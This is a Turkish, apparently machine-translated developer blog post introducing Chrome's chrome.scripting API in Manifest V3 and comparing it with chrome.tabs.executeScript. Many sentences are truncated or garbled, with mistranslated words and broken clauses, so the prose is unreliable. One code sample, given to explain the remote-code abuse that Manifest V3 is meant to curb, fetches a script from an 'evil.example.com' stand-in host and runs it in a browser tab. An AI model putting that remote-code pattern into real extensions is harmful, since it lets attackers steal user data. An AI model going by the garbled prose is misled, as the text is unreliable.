chrome.scripting tanıtımı

Simeon Vincent
Simeon Vincent

Manifest V3, Chrome'un uzantı platformunda çeşitli değişiklikler sunmaktadır. Bu yayında şimdi, daha dikkate değer değişikliklerden birinin neden olduğu motivasyonları ve değişiklikleri inceleyeceğiz: chrome.scripting API kullanıma sunuldu.

chrome.scripting nedir?

Adından da anlaşılabileceği gibi chrome.scripting, Manifest V3'te sunulan yeni bir ad alanıdır komut dosyası ve stil yerleştirme özelliklerinden sorumludur.

Geçmişte Chrome uzantıları oluşturmuş geliştiriciler Manifest V2 yöntemlerine aşina olabilirler. Tabs API'de (ör. chrome.tabs.executeScript ve chrome.tabs.insertCSS. Bu yöntemler, uzantıların komut dosyaları ve ayıralım. Manifest V3'te bu özellikler chrome.scripting. Gelecekte bazı yeni özelliklerle bu API'nin kapsamını genişletmeyi planlıyoruz.

Neden yeni bir API oluşturulmalıdır?

Böyle bir değişiklikle birlikte akla ilk gelen sorulardan biri "neden?" olacak.

Chrome ekibinin, komut dosyası için yeni bir ad alanı sunmaya karar vermesine neden olan birkaç farklı faktör vardı. Öncelikle, Tabs API, özellikler açısından biraz istenmeyen bir çekmecedir. İkinci olarak, şirket için mevcut executeScript API'de yapılan değişiklikler. Üçüncü olarak, yeni bir özelliği kullanıma sunduk. özellikler. Bu endişeler, toplu hâlde yeni bir ad alanına ihtiyaç duyulduğunu açıkça komut dosyası yazma becerisi.

Gereksiz çekmece

Son birkaç yıldır Uzantı Ekibini rahatsız eden sorunlardan biri de chrome.tabs API aşırı yüklü. Bu API ilk kullanıma sunulduğunda sahip olduğu işlevlerin çoğu sağlanan arama sonuçları, tarayıcı sekmesi kavramıyla ilgiliydi. Ama o noktada bile bir proje birçok özelliği içeriyor. Yıllar içinde bu koleksiyon daha da büyüdü.

Manifest V3 yayınlandığında Sekmeler API'si temel sekme yönetimini kapsayacak şekilde büyümüştü. seçim yönetimi, pencere düzenleme, mesajlaşma, yakınlaştırma denetimi, temel gezinme, komut dosyası ve başka özellikler de var. Bunların hepsi önemli olsa da ekip üyeleri için Chrome ekibi için yeni başlayanlar ve platformumuzun bakımını yaparken isteklerini göz önünde bulundurun.

Karmaşık bir faktör de tabs izninin iyi anlaşılmamasıdır. Diğer birçok izinleri belirli bir API'ye (ör. storage) erişimi kısıtlıyor uzantıya yalnızca Sekme örneklerindeki hassas özelliklere erişim izni vermesi açısından (ve yalnızca uzantısı, Windows API'yi de etkiler). Elbette birçok uzantı geliştirici, Tabs API'de chrome.tabs.create gibi yöntemlere erişmek için bu izne ihtiyaçları vardır veya daha Almanca, chrome.tabs.executeScript. İşlevlerin Tabs API'den taşınması, bu karışıklığın bir kısmı.

Zarar veren değişiklikler

Manifest V3'ü tasarlarken ele almak istediğimiz en önemli sorunlardan biri kötüye kullanım ve kötü amaçlı yazılımdı. "uzaktan barındırılan kod" tarafından etkinleştirildi - Yürütülen, ancak uzantıya dahil olmayan kod paketinden yararlanın. Kötüye kullanım amaçlı uzantı yazarlarının uzak sunuculardan getirilen komut dosyalarını çalıştırması yaygın bir durumdur. Kullanıcı verilerini çalmak, kötü amaçlı yazılım eklemek ve tespit edilmekten kaçınmak. İyi oyuncular da bu özelliği kullansa da nihayetinde olduğu gibi kalmanın çok tehlikeli olduğunu hissetmişti.

Uzantıların gruplanmamış kodu yürütebileceği birkaç farklı yöntem vardır, ancak ikisi de Manifest V2 chrome.tabs.executeScript yöntemini aşağıda bulabilirsiniz. Bu yöntem bir uzantının hedef sekmede rastgele bir kod dizesi yürütür. Bu da, kötü amaçlı bir geliştiricinin uzaktaki bir sunucudan rastgele bir komut dosyası getirebilir ve bunu, uzantının yapabileceği herhangi bir sayfada yürütebilir. erişim. Uzak kod sorununu gidermek istiyorsak bunu iptal etmemiz gerektiğini biliyorduk. özelliğini kullanabilirsiniz.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Ayrıca, Manifest V2 sürümünün tasarımıyla ilgili daha hassas olan başka sorunları da gidermek istedik. API'yi daha gösterişli ve tahmin edilebilir bir araç haline getirmek.

Tabs API'de bu yöntemin imzasını değiştirebilecek olsak da, (bir sonraki bölümde ele alınmış olan) yeni olanakların kullanıma sunulmasıyla birlikte, sektördeki herkes için daha kolay olur.

Komut dosyası yazma olanaklarını genişletme

Manifest V3 tasarım sürecinde dikkate alınan bir diğer unsur, Chrome'un uzantı platformuna ek komut dosyası özellikleri ekleyin. Ürün lansmanlarına dinamik içerik komut dosyaları için destek ve executeScript yönteminin özelliklerini genişletme.

Dinamik içerik komut dosyaları desteği, Chromium'da uzun süredir mevcut olan bir özellik isteğidir. Bugün, Manifest V2 ve V3 Chrome uzantıları, manifest.json dosyası; platform yeni içerik komut dosyalarını kaydetmek için bir yol sağlamaz, içerik komut dosyası kaydını yapabilir veya çalışma zamanında içerik komut dosyalarının kaydını silebilirsiniz.

Bu özellik isteğini Manifest V3'te ele almak istediğimizi biliyorduk. Ancak şu ana kadar API'ler kendilerini evlerinde hissettirdi. Ayrıca, Firefox'un İçerik Komut Dosyaları'nda uyumlu hale getirmeyi de düşündük. API, ancak daha başlarda bu yaklaşımın bazı önemli dezavantajları olduğunu tespit ettik. Öncelikle, imzalarımızın uyumsuz olacağını biliyorduk (ör. code mülkündeki her bir satış için geçerlidir. İkinci olarak, API'mızın farklı bir tasarım kısıtlaması vardı (ör. bir hizmet çalışanının kullanım ömrünün ötesinde kalmaya devam eder. Son olarak, bu ad alanı, Uzantılarda komut dosyası oluşturmayı daha geniş bir kapsamda ele aldığımız içerik komut dosyası işlevi.

executeScript ile ilgili olarak, bu API'nin yapabildiklerini Sekmeler'in ötesine taşımak istedik. Desteklenen API sürümü. Daha net ifade etmek gerekirse, işlevleri ve bağımsız değişkenleri desteklemek istedik. belirli çerçeveleri ve "sekme olmayan" sekmeyi hedefleme bağlamlar.

İleride, uzantıların yüklü PWA'lar ve diğer uygulamalarla nasıl etkileşime girebileceğini de "sekmeler" ile uyumlu olmayan bağlamlar içerir.

books.executeScript ile scripting.executeScript arasındaki değişiklikler

Bu gönderinin geri kalanında, benzerliklere ve farklılıklara daha yakından bakmak chrome.tabs.executeScript ile arasında chrome.scripting.executeScript.

Bağımsız değişkenler içeren bir işlev yerleştirme

Uzaktan barındırılan kodlar ışığında platformun nasıl gelişmesi gerektiğini düşünürken rastgele kod yürütmenin ham gücü ile yalnızca rastgele kod yürütmenin ham gücü arasında bir denge kurmak istedik. statik içerik komut dosyalarına izin vermelidir. Uyguladığımız çözüm, uzantılara, içerik etiketleri işlevi görmek ve bir değer dizisini bağımsız değişken olarak aktarmak için kullanılır.

Şimdi (aşırı basitleştirilmiş) bir örneği hızlıca inceleyelim. Diyelim ki, Kullanıcı uzantının işlem düğmesini (araç çubuğundaki simge) tıkladığında kullanıcıyı adıyla selamlar. Manifest V2'de, dinamik olarak bir kod dizesi oluşturabilir ve bu komut dosyasını mevcut sayfasını ziyaret edin.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 uzantıları, uzantıyla birlikte sunulmayan bir kodu kullanamaz. Bununla birlikte, hedefimiz Manifest V2 uzantıları için rastgele kod bloklarının sağladığı dinamiklerin bir kısmını koruma. İlgili içeriği oluşturmak için kullanılan işlev ve bağımsız değişkenler yaklaşımı sayesinde, Chrome Web Mağazası incelemecileri, kullanıcıları ve bir uzantının ortaya çıkardığı riskleri daha doğru şekilde değerlendirmesini ve aynı zamanda geliştiricilerin bir uzantının çalışma zamanı davranışını kullanıcı ayarlarına veya uygulama durumuna göre değiştirmesini sağlayabilir.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Hedefleme çerçeveleri

Ayrıca, revize edilmiş API'de geliştiricilerin çerçevelerle etkileşime girme biçimini de iyileştirmek istedik. Manifest V2 sürümü, geliştiricilerin bir sekmedeki tüm kareleri veya belirli birexecuteScript çerçevelenir. Şu karedeki tüm karelerin listesini almak için chrome.webNavigation.getAllFrames öğesini kullanabilirsiniz: kullanabilirsiniz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3'te, seçenekler nesnesindeki isteğe bağlı frameId tam sayı özelliğini isteğe bağlı frameIds tam sayı dizisi; Böylece, geliştiriciler tek bir videoda birden fazla kareyi hedefleyebilir API çağrısı.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Komut dosyası yerleştirme sonuçları

Manifest V3'te komut dosyası yerleştirme sonuçlarını döndürme yöntemimizi de iyileştirdik. Bir "sonuç" : bir senaryoda değerlendirilen son ifadedir. Bunu, bir kullanıcı hikayesinin ardından Chrome Geliştirici Araçları konsolunda eval() işlevini çağırın veya bir kod bloğu yürütün, ancak ve sonuçları süreçler arasında aktarmaktır.

Manifest V2'de executeScript ve insertCSS, bir dizi düz yürütme sonucu döndürür. Yalnızca tek bir ekleme noktanız varsa sorun yoktur ancak eklememek, böylece hangi sonucun hangi sonuçla ilişkilendirildiğini anlamanın çerçeve.

Somut bir örnek için Manifest V2 ve birresults Aynı uzantının Manifest V3 sürümü. Uzantının her iki sürümü de aynı komut dosyasını indirin. Aynı demo sayfasında sonuçları karşılaştıracağız.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 sürümünü çalıştırdığımızda, [1, 0, 5] dizisi elde ediyoruz. Hangi sonuç karşılık gelir? ana çerçeveye, hangisi iframe için? Döndürülen değer bize söylemediği için elbette.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 sürümünde results artık yalnızca değerlendirme sonuçlarını içerir ve sonuç nesneleri, her bir öğe için çerçevenin kimliğini yardımcı olur. Bu da geliştiricilerin sonuçtan yararlanmasını ve belirli bir model üzerinde işlem yapmasını çok daha kolay hale getirir. çerçeve.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Son adım

Manifest sürümündeki artışlar, uzantı API'lerini yeniden değerlendirmek ve modernleştirmek için nadir görülen bir fırsattır. Hedefimiz Manifest V3 ile uzantıları daha güvenli hale getirerek son kullanıcı deneyimini iyileştirmektir. geliştirici deneyimini iyileştirmeye çalışıyor. Manifest V3'te chrome.scripting özelliğini kullanıma sunarak Tabs API'yi temizlemeye yardımcı olmak, executeScript alanını daha güvenli bir uzantı platformu için yeniden tasarlamak ve bu yılın ilerleyen dönemlerinde kullanıma sunulacak yeni kodlama özelliklerinin temelini atın.